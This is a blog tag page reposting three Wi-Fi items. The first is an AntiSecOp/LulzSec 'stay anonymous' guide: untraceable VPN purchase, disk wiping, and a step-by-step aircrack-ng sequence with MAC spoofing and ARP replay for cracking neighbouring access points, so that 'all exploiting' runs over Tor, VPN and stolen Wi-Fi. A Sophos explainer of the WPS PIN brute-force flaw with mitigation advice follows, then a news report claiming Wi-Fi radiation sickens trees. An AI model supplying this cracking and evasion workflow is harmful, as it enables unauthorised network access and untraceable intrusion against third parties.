The Mis-Adventures in Technology of an Old Dog Learning New Tricks…

Posts tagged ‘Wi-Fi’

Want to be a ghost on the internet?

This is an excellent tutorial for keeping your online anonymity, etc.  Thanks to LulzSec and AntiSecOp for the excellent information. This information is provide for educational purposes only. Utilize at your own risk! But most of all have fun! Enjoy!

Want to stay safe online?

By @AntiSecOp

Required files:VMWare Workstation:

http://www.demonoid.me/files/details/2787488/008172892720/

Windows 7 Ultimate: http://www.demonoid.me/files/details/2811393/003064834770/

BackTrack 5 R1 VMWare: http://www.backtrack-linux.org/ajax/download_redirect.php?id=BT5R1-GNOME-VM-32.7zpfsense: http://files.chi.pfsense.org/mirror/downloads/pfSense-2.0.1-RELEASE-amd64.iso.gz

Ubuntu Live CD: http://www.ubuntu.com/start-download?distro=desktop&bits=32&release=latest

Required Hardware:

Virtualization supported CPU

4GB RAM

USB wifi adapter supporting packet injection:http://www.amazon.com/Alfa-802-11b-Wireless-Original-9dBi/dp/B001O9X9EU/ref=sr_1_2?ie=UTF8&qid=1328768355&sr=8-2

VPN Account without paper trail

  • Purchase prepaid visa card with cash
  • Purchase Bitcoins with Money Order
  • Donate Bitcoins to different account
  • Purchase VPN account with bitcoins

VPN ServicesoVPN.to

Step One

  • Enable Boot and Setup page BIOS password
  • Turn computer on, press key to enter Setup. Usually F1, F2, F11, Del, something similar. Then go to the Security tab

Step Two

  • Boot Ubuntu LiveCD to cleanly wipe hard drive
  • After booting LiveCD, open up terminal and type sudo “fdisk -l” to get a list of disks and partitions
  • Use the wipe command on each partition that is listed with the above commandie “sudo wipe /dev/sda1”
  • Repeat for each drive (sdb, sdc) and each partition (sda1, sda2)
  • Reboot

Step Three

  • Install Windows 7 Ultimate and shred free space
  • Boot from Windows disk and install
  • After clean install, install fileshredder http://www.fileshredder.org
  • Run fileshredder using “Secure Erasing Algorithm with 7 passes”Reboot
  • Enable BitLocker drive encryption. Safe key to USB stick
  • Reboot
  • Run Windows Update
  • Turn off Swap space (Control Panel > System and Security > Advanced > Performance > Disable Virtual Memory
  • Reboot

Step Four

Install VMWare

Step Five

  • BackTrack 5 R1 Virtual Machine to be used for cracking WiFi
  • Open VMWare and import the BackTrack 5 R1 VMWare image (link above)
  • Set VM to 256MB RAM
  • Create a Network Adapter (VMNet0)
  • Directly attach USB wifi adapter (VM > Removable Devices > Check Wireless Adapter)
  • Bridge eth0 to wlan0

Easy Mode method:

  • apt-get -y install network-manager
  • rm /etc/network/interfaces
  • reboot
  • Open Network Manager
  • eth0 IPv4 Settings > Method > Shared to other computers
  • Use aircrack-ng to crack surrounding AP’s
  • airmon-ng stop wlan0
  • ifconfig wlan0 down
  • macchanger –mac 00:11:22:33:44:55 wlan0
  • airmon-ng start wlan0
  • airodump-ng wlan0
  • Get SSID and channel for next step
  • airodump-ng -c (channel #) -w (file name) –bssid (bssid) wlan0
  • Let this sit until you have plenty of data points
  • aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) wlan0
  • Look for successful ACK
  • aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
  • Also let this run for a while, look for 10k ACK’s aircrack-ng -b (bssid) (file name-01.cap)
  • Connect to SSID

Step Six

  • Pfsense install to use VPN
  • 8 GB of Hard Drive space
  • 256MB RAM
  • Two Network Adapters (VMnet0 and VMnet1)
  • After installing from the downloaded ISO, set WAN to VMnet0 and LAN to VMnet1. You should get a WAN dhcp IP from VM#1
  • Assign LAN IP and enable DHCP (192.168.1.1/24)

Step Seven

Step Eight

  • BackTrack 5 R1 VM for all cracking/penetration testing/everything
  • Import another BT5 vmware image
  • 512MB RAM
  • One Network Adapter (VMnet1)
  • Set default Gateway to match the IP of your previous VM (TorBox)
  • ALL data will now travel securely (BT5 > Tor Network > Over VPN > Internet using cracked wifi)
  • Download Tor Bundle from torproject.org
  • Use FireFox Portable bunlded with Tor Bundle (more secure)
  • All exploiting/penetration testing, cracking, etc is done on this VM

Step Nine

Encrypt All VM’s

Open settings for Each VM in VMWare

Under Options > Enable Encryption

Set secure password

Torchat: OfflineE-mail: antisec@tormail.net

Twitter: https://twitter.com/AntiSecOp

Do YOU have a Wireless router? Well it only takes a minute to hack it even with security safeguards… Here’s How!

What’s This? More bad news for the consumer?  Well not exactly.  Take solace in knowing that the vulnerability was discovered in the first place, but it is ironic that the shortcoming in almost all wireless routers, comes down to simple 7th grade math.  The flaw in WPS (WiFi Protected Setup) has been discovered independently by at least 2 Industry researchers, and their findings have been documented and shared with the Information security community.

Vodpod videos no longer available.

Chester Wisniewski of Sophos Canada writes in his blog posting……..

(Sophos Naked Security)Stefan Viehböck, an independent security researcher, published a paper on Boxing Day titled “Brute forcing Wi-Fi Protected Setup” to his WordPress blogdisclosing a weakness in the configuration of most consumer/SoHo Wi-Fi routers.

As we all know the state of security for most home Wi-Fi networks was nearly non-existent only a few years ago.

This prompted the Wi-Fi Alliance to establish a new simple method for consumers to enable and configure WPA2 on their routers without knowledge of encryption, keys or how it all works.

he standard is called Wi-Fi Protected Setup (WPS) and is enabled by default on nearly all consumer Wi-Fi access points, including those sold by Cisco/Linksys, Netgear, Belkin, Buffalo, D-Link and Netgear.

It has three methods of simplifying the connection of wireless devices to WPA2 protected access points:

    1. Push Button Connect (PBC) requires the user to push a button on the router which allows it to communicate with a client needing configuration. The client attempts to connect and the router simply sends it the security configuration required to communicate.
    1. Client PIN mode is where the client device supports WPS and has a PIN assigned by the manufacturer. You then login to the router’s management interface and enter the PIN to authorize that client to obtain the encryption configuration.
  1. Router PIN mode allows a client to connect by entering a secret PIN from a label on the router, or from its management interface which authorizes the client to obtain the security configuration details.

The first method requires physical access, while the second requires administrative access, both of these pass muster. The third however, can be accomplished only through the use of the Wi-Fi radio.

10,000,00 to 11,000The PIN used for authentication is only eight digits which would give the appearance of 108(100,000,000) possibilities. It turns out the last digit is just a checksum, which takes us down to 107(10,000,000) combinations.

Worse yet the protocol is designed where the first half and second half are sent separately and the protocol will confirm if only one half is correct.

So you have now reduced the difficulty of brute forcing the PIN down to 104 (10,000) plus 103 (1,000) or 11,000 possibilities.

Some of the routers Viehböck tested did seem to implement a mechanism to slow down the brute forcing, but the worst case scenario allowed him to acquire the keys within 44 hours.

Compared with attempting to attack WPA2-PSK directly, this is a cheap and effective attack.

As the sub-title of Viehböck’s paper states “When poor design meets poor implementation” security is the loser.

If you own a reasonably modern Wi-Fi router you are at risk (unless you have installed some sort of alternative firmware like OpenWRT or Tomato Router).

If possible disable the WPS support on your router and contact your manufacturer for updated firmware which may provide a fix or mitigation against this attack.

Another researcher independently discovered the same issue and has published a tool called Reaver that implements this attack.

Similar to the Firesheep tool, this will likely light a fire under the butts of the Wi-Fi Alliance and manufacturers to quickly resolve these issues.

Wi-Fi Makes Trees Sick, Study Says…

City trees are becoming sick from wireless radiation from local area networks and mobile phones, according to a European study.

The notebook is connected to the wireless acce...

Image via Wikipedia

Radiation from Wi-Fi networks is harmful to trees, causing significant variations in growth, as well as bleeding and fissures in the bark, according to a recent study in the Netherlands.Radiation from Wi-Fi networks is harmful to trees, causing significant variations in growth, as well as bleeding and fissures in the bark, according to a recent study in the Netherlands.

All deciduous trees in the Western world are affected, according to the study by Wageningen University. The city of Alphen aan den Rijn ordered the study five years ago after officials found unexplained abnormalities on trees that couldn’t be ascribed to a virus or bacterial infection.

Additional testing found the disease to occur throughout the Western world. In the Netherlands, about 70 percent of all trees in urban areas show the same symptoms, compared with only 10 percent five years ago. Trees in densely forested areas are hardly affected.

A photograph of a metro Wi-Fi antenna in Minne...

Image via Wikipedia

Besides the electromagnetic fields created by mobile-phone networks and wireless LANs, ultrafine particles emitted by cars and trucks may also be to blame. These particles are so small they are able to enter the organisms.

The study exposed 20 ash trees to various radiation sources for a period of three months. Trees placed closest to the Wi-Fi radio demonstrated a “lead-like shine” on their leaves that was caused by the dying of the upper and lower epidermis of the leaves. This would eventually result in the death of parts of the leaves. The study also found that Wi-Fi radiation could inhibit the growth of corn cobs.

The researchers urged that further studies were needed to confirm the current results and determine long-term effects of wireless radiation on trees.

By René Schoemaker IDG News Nov 19, 2010 3:09 pm

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